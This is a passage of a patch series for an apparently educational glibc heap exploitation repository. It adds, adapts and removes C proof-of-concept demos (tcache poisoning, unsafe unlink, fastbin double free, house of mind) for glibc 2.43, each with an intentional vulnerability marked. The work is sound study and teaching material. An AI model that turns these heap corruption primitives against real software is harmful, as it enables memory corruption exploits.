if(((long)&stack_var[i] & 0xf) == 0) { + target = &stack_var[i]; + break; + } + } + assert(target != NULL); + + printf("The address we want malloc() to return is %p.\n", target); + + printf("Allocating 2 buffers.\n"); + intptr_t *a = malloc(128); + printf("malloc(128): %p\n", a); + intptr_t *b = malloc(128); + printf("malloc(128): %p\n", b); + + printf("Freeing the buffers...\n"); + free(a); + free(b); + + printf("Now the tcache list has [ %p -> %p ].\n", b, a); + printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" + "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); + // VULNERABILITY + // the following operation assumes the address of b is known, which requires a heap leak + b[0] = (intptr_t)((long)target ^ (long)b >> 12); + // VULNERABILITY + printf("Now the tcache list has [ %p -> %p ].\n", b, target); + + printf("1st malloc(128): %p\n", malloc(128)); + printf("Now the tcache list has [ %p ].\n", target); + + intptr_t *c = malloc(128); + printf("2nd malloc(128): %p\n", c); + printf("We got the control\n"); + + assert((long)target == (long)c); + return 0; +} diff --git a/glibc_2.43/unsafe_unlink.c b/glibc_2.43/unsafe_unlink.c new file mode 100644 index 00000000..eef44ed2 --- /dev/null +++ b/glibc_2.43/unsafe_unlink.c @@ -0,0 +1,64 @@ +#include +#include +#include +#include +#include + +uint64_t *chunk0_ptr; + +int main() +{ + setbuf(stdout, NULL); + printf("Welcome to unsafe unlink 2.0!\n"); + printf("Tested in Ubuntu 20.04 64bit.\n"); + printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); + printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); + + int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin + int header_size = 2; + + printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); + + chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 + uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 + printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); + printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); + + printf("We create a fake chunk inside chunk0.\n"); + printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n"); + chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; + printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); + chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); + printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); + printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); + chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); + printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); + printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); + + printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); + uint64_t *chunk1_hdr = chunk1_ptr - header_size; + printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); + printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); + chunk1_hdr[0] = malloc_size; + printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]); + printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); + chunk1_hdr[1] &= ~1; + + printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); + printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n"); + free(chunk1_ptr); + + printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); + char victim_string[8]; + strcpy(victim_string,"Hello!~"); + chunk0_ptr[3] = (uint64_t) victim_string; + + printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); + printf("Original value: %s\n",victim_string); + chunk0_ptr[0] = 0x4141414142424242LL; + printf("New Value: %s\n",victim_string); + + // sanity check + assert(*(long *)victim_string == 0x4141414142424242L); +} + From e50c8659f346b4cc35720aedce815d21a3901e94 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Tue, 24 Mar 2026 23:09:19 -0700 Subject: [PATCH 02/11] adapt house_of_botcake --- glibc_2.43/house_of_botcake.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/glibc_2.43/house_of_botcake.c b/glibc_2.43/house_of_botcake.c index 1f7cb8ac..71b90075 100644 --- a/glibc_2.43/house_of_botcake.c +++ b/glibc_2.43/house_of_botcake.c @@ -31,8 +31,8 @@ int main() // prepare heap layout puts("Preparing heap layout"); - puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); - intptr_t *x[7]; + puts("Allocating 0x10 chunks(malloc(0x100)) for us to fill up tcache list later."); + intptr_t *x[0x10]; for(int i=0; i Date: Tue, 24 Mar 2026 23:54:49 -0700 Subject: [PATCH 03/11] fastbin is history --- README.md | 10 +- glibc_2.43/fastbin_dup.c | 62 ------ glibc_2.43/fastbin_dup_consolidate.c | 85 -------- glibc_2.43/fastbin_dup_into_stack.c | 85 -------- glibc_2.43/fastbin_reverse_into_tcache.c | 109 ----------- glibc_2.43/house_of_mind_fastbin.c | 235 ----------------------- 6 files changed, 5 insertions(+), 581 deletions(-) delete mode 100644 glibc_2.43/fastbin_dup.c delete mode 100644 glibc_2.43/fastbin_dup_consolidate.c delete mode 100644 glibc_2.43/fastbin_dup_into_stack.c delete mode 100644 glibc_2.43/fastbin_reverse_into_tcache.c delete mode 100644 glibc_2.43/house_of_mind_fastbin.c diff --git a/README.md b/README.md index 39e5a5e2..59bc33a7 100644 --- a/README.md +++ b/README.md @@ -10,9 +10,9 @@ We came up with the idea during a hack meeting, and have implemented the followi |------|-----|-----------|---------------|-------|---------------------------| | [first_fit.c](first_fit.c) | | Demonstrating glibc malloc's first-fit behavior. | | | | | [calc_tcache_idx.c](calc_tcache_idx.c)| | Demonstrating glibc's tcache index calculation.| | | | -| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | latest | | | -| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | :arrow_forward: | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) | -| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | latest | | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) | +| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | | +| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | :arrow_forward: | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) | +| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) | | [unsafe_unlink.c](glibc_2.35/unsafe_unlink.c) | :arrow_forward: | Exploiting free on a corrupted chunk to get arbitrary write. | latest | | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni'hack 2017-Wheel of Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a) | | [house_of_spirit.c](glibc_2.35/house_of_spirit.c) | :arrow_forward: | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | | [hack.lu CTF 2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo) | | [poison_null_byte.c](glibc_2.35/poison_null_byte.c) | :arrow_forward: | Exploiting a single null byte overflow. | latest | | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb), [BalsnCTF 2019-PlainNote](https://gist.github.com/st424204/6b5c007cfa2b62ed3fd2ef30f6533e94?fbclid=IwAR3n0h1WeL21MY6cQ_C51wbXimdts53G3FklVIHw2iQSgtgGo0kR3Lt-1Ek)| @@ -34,8 +34,8 @@ We came up with the idea during a hack meeting, and have implemented the followi | [tcache_house_of_spirit.c](glibc_2.35/tcache_house_of_spirit.c) | :arrow_forward: | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | | | | [house_of_botcake.c](glibc_2.35/house_of_botcake.c) | :arrow_forward: | Bypass double free restriction on tcache. Make `tcache_dup` great again. | > 2.25 | | | | [tcache_stashing_unlink_attack.c](glibc_2.35/tcache_stashing_unlink_attack.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. | > 2.25 | | [Hitcon 2019 one punch man](https://github.com/xmzyshypnc/xz_files/tree/master/hitcon2019_one_punch_man) | -| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | > 2.25 | | | -| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | :arrow_forward: | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | latest | | | +| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | 2.26 - 2.42 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | | +| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | :arrow_forward: | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | | | [house_of_storm.c](glibc_2.27/house_of_storm.c) | :arrow_forward: | Exploiting a use after free on both a large and unsorted bin chunk to return an arbitrary chunk from malloc| < 2.29 | | | | [house_of_gods.c](glibc_2.24/house_of_gods.c) | :arrow_forward: | A technique to hijack a thread's arena within 8 allocations | < 2.27 | | | | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | diff --git a/glibc_2.43/fastbin_dup.c b/glibc_2.43/fastbin_dup.c deleted file mode 100644 index 1b56c795..00000000 --- a/glibc_2.43/fastbin_dup.c +++ /dev/null @@ -1,62 +0,0 @@ -#include -#include -#include - -int main() -{ - setbuf(stdout, NULL); - - printf("This file demonstrates a simple double-free attack with fastbins.\n"); - - printf("Allocate buffers to fill up tcache and prep fastbin.\n"); - void *ptrs[7]; - - for (int i=0; i<7; i++) { - ptrs[i] = malloc(8); - } - - printf("Allocating 3 buffers.\n"); - int *a = calloc(1, 8); - int *b = calloc(1, 8); - int *c = calloc(1, 8); - printf("1st malloc(8): %p\n", a); - printf("2nd malloc(8): %p\n", b); - printf("3rd malloc(8): %p\n", c); - - printf("Fill up tcache.\n"); - for (int i=0; i<7; i++) { - free(ptrs[i]); - } - - printf("Freeing the first chunk %p...\n", a); - free(a); - - printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); - // free(a); - - printf("So, instead, we'll free %p.\n", b); - free(b); - - printf("Now, we can free %p again, since it's not the head of the free list.\n", a); - /* VULNERABILITY */ - free(a); - /* VULNERABILITY */ - - printf("In order to use the free list for allocation, we'll need to empty the tcache.\n"); - printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first."); - printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd"); - for (int i = 0; i < 7; i++) { - ptrs[i] = malloc(8); - } - - printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); - puts("Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here."); - a = malloc(8); - b = calloc(1, 8); - c = calloc(1, 8); - printf("1st malloc(8): %p\n", a); - printf("2nd calloc(1, 8): %p\n", b); - printf("3rd calloc(1, 8): %p\n", c); - - assert(a == c); -} diff --git a/glibc_2.43/fastbin_dup_consolidate.c b/glibc_2.43/fastbin_dup_consolidate.c deleted file mode 100644 index 20891769..00000000 --- a/glibc_2.43/fastbin_dup_consolidate.c +++ /dev/null @@ -1,85 +0,0 @@ -#include -#include -#include - -/* -Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8 - -This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a -double free to gain two pointers to the same large-sized chunk, which is usually difficult to do -directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes. - -malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially -merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top -if possible. - -As of glibc version 2.35 it is called only in the following five places: -1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965) -2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394) -3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674) -4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041) -5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463) - -We will be targeting the first place, so we will need to allocate a chunk that does not belong in the -small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). -This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the -biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize -a double free to gain control of a tcache sized chunk. -*/ - -#define CHUNK_SIZE 0x400 - -int main() { - printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n"); - printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n"); - - void *ptr[7]; - - for(int i = 0; i < 7; i++) - ptr[i] = malloc(0x40); - - void* p1 = malloc(0x40); - printf("Allocate another chunk of the same size p1=%p \n", p1); - - printf("Fill up the tcache...\n"); - for(int i = 0; i < 7; i++) - free(ptr[i]); - - printf("Now freeing p1 will add it to the fastbin.\n\n"); - free(p1); - - printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n"); - printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n"); - printf("a tcache-sized chunk with chunk size 0x410 "); - void* p2 = malloc(CHUNK_SIZE); - - printf("p2=%p.\n", p2); - - printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n"); - printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n"); - - assert(p1 == p2); - - printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n"); - free(p1); // vulnerability (double free) - printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n"); - - printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n"); - - printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n"); - printf("the tcache bin. p2 and p1 will still be pointing to it.\n"); - void *p3 = malloc(CHUNK_SIZE); - - assert(p3 == p2); - - printf("We now have two pointers (p2 and p3) that haven't been directly freed\n"); - printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3); - printf("We have achieved duplication!\n\n"); - - printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n"); - printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n"); - printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n"); - printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n"); - - return 0; -} diff --git a/glibc_2.43/fastbin_dup_into_stack.c b/glibc_2.43/fastbin_dup_into_stack.c deleted file mode 100644 index a79d18a8..00000000 --- a/glibc_2.43/fastbin_dup_into_stack.c +++ /dev/null @@ -1,85 +0,0 @@ -#include -#include -#include -#include - -int main() -{ - setbuf(stdout, NULL); - - printf("This file extends on fastbin_dup.c by tricking malloc into\n" - "returning a pointer to a controlled location (in this case, the stack).\n"); - - unsigned long stack_var[4] __attribute__ ((aligned (0x10))); - printf("The address we want calloc() to return is %p.\n", stack_var + 2); - - printf("Allocate buffers to fill up tcache and prep fastbin.\n"); - void *ptrs[7]; - - for (int i=0; i<7; i++) { - ptrs[i] = malloc(8); - } - - printf("Allocating 3 buffers.\n"); - int *a = calloc(1,8); - int *b = calloc(1,8); - int *c = calloc(1,8); - printf("1st calloc(1,8): %p\n", a); - printf("2nd calloc(1,8): %p\n", b); - printf("3rd calloc(1,8): %p\n", c); - - printf("Fill up tcache.\n"); - for (int i=0; i<7; i++) { - free(ptrs[i]); - } - - printf("Freeing the first chunk %p...\n", a); - free(a); - - printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); - - printf("So, instead, we'll free %p.\n", b); - free(b); - - printf("Now, we can free %p again, since it's not the head of the free list.\n", a); - /* VULNERABILITY */ - free(a); - /* VULNERABILITY */ - - printf("In order to use the free list for allocation, we'll need to empty the tcache.\n"); - printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first."); - printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd"); - for (int i = 0; i < 7; i++) { - ptrs[i] = malloc(8); - } - - printf("Now the free list has [ %p, %p, %p ]. " - "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); - unsigned long *d = calloc(1,8); - - printf("1st calloc(1,8): %p\n", d); - printf("2nd calloc(1,8): %p\n", calloc(1,8)); - printf("Now the free list has [ %p ].\n", a); - printf("Now, we have access to %p while it remains at the head of the free list.\n" - "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" - "so that calloc will think there is a free chunk there and agree to\n" - "return a pointer to it.\n", a); - puts("Note that this is only needed for calloc. It is not needed for malloc."); - stack_var[1] = 0x20; - - printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); - printf("Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); - printf("^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); - unsigned long ptr = (unsigned long)stack_var+0x10; - unsigned long addr = (unsigned long) d; - /*VULNERABILITY*/ - *d = (addr >> 12) ^ ptr; - /*VULNERABILITY*/ - - printf("3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); - - void *p = calloc(1, 8); - - printf("4th calloc(1,8): %p\n", p); - assert((unsigned long)p == (unsigned long)stack_var+0x10); -} diff --git a/glibc_2.43/fastbin_reverse_into_tcache.c b/glibc_2.43/fastbin_reverse_into_tcache.c deleted file mode 100644 index 97c7a039..00000000 --- a/glibc_2.43/fastbin_reverse_into_tcache.c +++ /dev/null @@ -1,109 +0,0 @@ -#include -#include -#include -#include - -const size_t allocsize = 0x40; - -int main(){ - setbuf(stdout, NULL); - - printf("\n" - "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" - "except it works with a small allocation size (allocsize <= 0x78).\n" - "The goal is to set things up so that a call to malloc(allocsize) will write\n" - "a large unsigned value to the stack.\n\n"); - printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" - "An heap address leak is needed to perform this attack.\n" - "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); - printf("After the patch https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/,\n" - "We need to control at least 8 byte before the region we want to allocate to (to forge the size).\n\n"); - - // Allocate 14 times so that we can free later. - char* ptrs[14]; - size_t i; - for (i = 0; i < 14; i++) { - ptrs[i] = malloc(allocsize); - } - - printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n" - "(More than 7 times works fine too.)\n\n"); - - // Fill the tcache. - for (i = 0; i < 7; i++) free(ptrs[i]); - - char* victim = ptrs[7]; - printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n" - "It doesn't matter if we corrupt it now or later. Because the tcache is\n" - "already full, it will go in the fastbin.\n\n", victim); - free(victim); - - printf("Next we need to free between 1 and 6 more pointers. These will also go\n" - "in the fastbin. If we don't control the data on the stack,\n" - "then we need to free exactly 6 more pointers, otherwise the attack will\n" - "cause a segmentation fault when traversing the linked list.\n" - "But if we control at least 8-byte on the stack, we know where the stack is,\n" - "and we want to control more data on the stack, a single free is sufficient\n" - "by forging a mangled NULL on the stack to terminate list traversal.\n\n"); - - // Fill the fastbin. - for (i = 8; i < 14; i++) free(ptrs[i]); - - // Create an array on the stack and initialize it with garbage. - size_t stack_var[6]; - memset(stack_var, 0xcd, sizeof(stack_var)); - stack_var[1] = 0x51; - - printf("The stack address that we intend to target: %p\n" - "It's current value is %p\n", &stack_var[2], (char*)stack_var[2]); - - printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n" - "to overwrite the next pointer at address %p\n\n", victim); - - //------------VULNERABILITY----------- - - // Overwrite linked list pointer in victim. - // The following operation assumes the address of victim is known, thus requiring - // a heap leak. - *(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12)); - - //------------------------------------ - - printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"); - - // Empty tcache. - for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize); - - printf("Let's just print the contents of our array on the stack now,\n" - "to show that it hasn't been modified yet.\n\n"); - - for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); - - printf("\n" - "The next allocation triggers the stack to be overwritten. The tcache\n" - "is empty, but the fastbin isn't, so the next allocation comes from the\n" - "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" - "Those 7 chunks are copied in reverse order into the tcache, so the stack\n" - "address that we are targeting ends up being the first chunk in the tcache.\n" - "It contains a pointer to the next chunk in the list, which is why a heap\n" - "pointer is written to the stack.\n" - "\n" - "Earlier we said that the attack will also work if we free fewer than 6\n" - "extra pointers to the fastbin, but only if the value on the stack is zero.\n" - "That's because the value on the stack is treated as a next pointer in the\n" - "linked list and it will trigger a crash if it isn't a valid pointer or null.\n" - "\n" - "The contents of our array on the stack now look like this:\n\n"); - - malloc(allocsize); - - for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); - - char *q = malloc(allocsize); - printf("\n" - "Finally, if we malloc one more time then we get the stack address back: %p\n", q); - - assert(q == (char *)&stack_var[2]); - - return 0; -} diff --git a/glibc_2.43/house_of_mind_fastbin.c b/glibc_2.43/house_of_mind_fastbin.c deleted file mode 100644 index a8707a3c..00000000 --- a/glibc_2.43/house_of_mind_fastbin.c +++ /dev/null @@ -1,235 +0,0 @@ -#include -#include -#include -#include -#include -#include - -/* - -House of Mind - Fastbin Variant -========================== - -This attack is similar to the original 'House of Mind' in that it uses -a fake non-main arena in order to write to a new location. This -uses the fastbin for a WRITE-WHERE primitive in the 'fastbin' -variant of the original attack though. The original write for this -can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. - -By being able to allocate an arbitrary amount of chunks, a single byte -overwrite on a chunk size and a memory leak, we can control a super -powerful primitive. - -This could be used in order to write a freed pointer to an arbitrary -location (which seems more useful). Or, this could be used as a -write-large-value-WHERE primitive (similar to unsortedbin attack). - Both are interesting in their own right though but the first -option is the most powerful primitive, given the right setting. - -Malloc chunks have a specified size and this size information -special metadata properties (prev_inuse, mmap chunk and non-main arena). -The usage of non-main arenas is the focus of this exploit. For more information -on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. - -First, we need to understand HOW the non-main arena is known from a chunk. - -This the 'heap_info' struct: - -struct _heap_info -{ - mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer - struct _heap_info *prev; // Previous heap. - size_t size; // Current size in bytes. - size_t mprotect_size; // Size in bytes that has been mprotected - char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment -} heap_info; -- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48 - -The important thing to note is that the 'malloc_state' within -an arena is grabbed from the ar_ptr, which is the FIRST entry -of this. Malloc_state == mstate == arena - -The main arena has a special pointer. However, non-main arenas (mstate) -are at the beginning of a heap section. They are grabbed with the -following code below, where the user controls the 'ptr' in 'arena_for_chunk': - -#define heap_for_ptr(ptr) \ - ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) -#define arena_for_chunk(ptr) \ - (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) -- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127 - -This macro takes the 'ptr' and subtracts a large value because the -'heap_info' should be at the beginning of this heap section. Then, -using this, it can find the 'arena' to use. - -The idea behind the attack is to use a fake arena to write pointers -to locations where they should not go but abusing the 'arena_for_chunk' -functionality when freeing a fastbin chunk. - -This POC does the following things: -- Finds a valid arena location for a non-main arena. -- Allocates enough heap chunks to get to the non-main arena location where - we can control the values of the arena data. -- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later. -- Using this fake arena (ar_ptr), we can use the fastbin to write - to an unexpected location of the 'ar_ptr' with a heap pointer. - -Requirements: -- A heap leak in order to know where the fake 'heap_info' is located at. - - Could be possible to avoid with special spraying techniques -- An unlimited amount of allocations -- A single byte overflow on the size of a chunk - - NEEDS to be possible to put into the fastbin. - - So, either NO tcache or the tcache needs to be filled. -- The location of the malloc state(ar_ptr) needs to have a value larger - than the fastbin size being freed at malloc_state.system_mem otherwise - the chunk will be assumed to be invalid. - - This can be manually inserted or CAREFULLY done by lining up - values in a proper way. -- The NEXT chunk, from the one that is being freed, must be a valid size -(again, greater than 0x20 and less than malloc_state.system_mem) - - -Random perks: -- Can be done MULTIPLE times at the location, with different sized fastbin - chunks. -- Does not brick malloc, unlike the unsorted bin attack. -- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. - - - -************************************ -Written up by Maxwell Dulin (Strikeout) -************************************ -*/ - -int main(){ - - printf("House of Mind - Fastbin Variant\n"); - puts("=================================="); - printf("The goal of this technique is to create a fake arena\n"); - printf("at an offset of HEAP_MAX_SIZE\n"); - - printf("Then, we write to the fastbins when the chunk is freed\n"); - printf("This creates a somewhat constrained WRITE-WHERE primitive\n"); - // Values for the allocation information. - int HEAP_MAX_SIZE = 0x4000000; - int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635 - - 